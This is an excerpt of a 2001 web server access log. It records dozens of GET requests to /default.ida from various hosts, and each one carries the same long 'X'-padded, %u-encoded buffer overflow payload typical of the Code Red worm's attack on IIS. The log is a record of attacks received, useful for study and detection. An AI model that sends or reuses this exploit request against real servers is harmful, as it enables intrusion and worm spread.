  1299. 20010906 23:57:03: dialup-cc4-67.cc.columbia.edu [128.59.3.76] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1300. 20010907 02:49:29:  [132.247.7.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1301. 20010907 02:57:10: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1302. 20010907 02:58:22: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1303. 20010907 02:59:37: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1304. 20010907 03:05:05: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1305. 20010907 03:05:28: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1306. 20010907 03:07:18: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1307. 20010907 03:13:46: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1308. 20010907 03:32:48: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1309. 20010907 03:43:40:  [128.123.125.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1310. 20010907 05:13:55:  [203.199.150.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1311. 20010907 05:42:41:  [61.11.40.135] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1312. 20010907 06:27:17: rdu57-16-047.nc.rr.com [66.57.16.47] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1313. 20010907 08:41:14: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1314. 20010907 09:45:42:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1315. 20010907 09:48:53:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1316. 20010907 09:49:28:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1317. 20010907 09:49:49:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1318. 20010907 09:50:07:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1319. 20010907 09:50:25:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1320. 20010907 09:51:02:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1321. 20010907 09:51:20:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1322. 20010907 09:51:39:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1323. 20010907 09:51:57:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1324. 20010907 09:52:15:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1325. 20010907 09:52:34:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1326. 20010907 09:52:52:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1327. 20010907 09:54:02:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1328. 20010907 09:54:31:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1329. 20010907 09:55:39:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1330. 20010907 09:55:58:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1331. 20010907 09:56:26:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1332. 20010907 09:57:29:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1333. 20010907 09:58:24:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1334. 20010907 09:58:48:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1335. 20010907 09:59:10:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1336. 20010907 10:05:56:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1337. 20010907 10:06:20:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
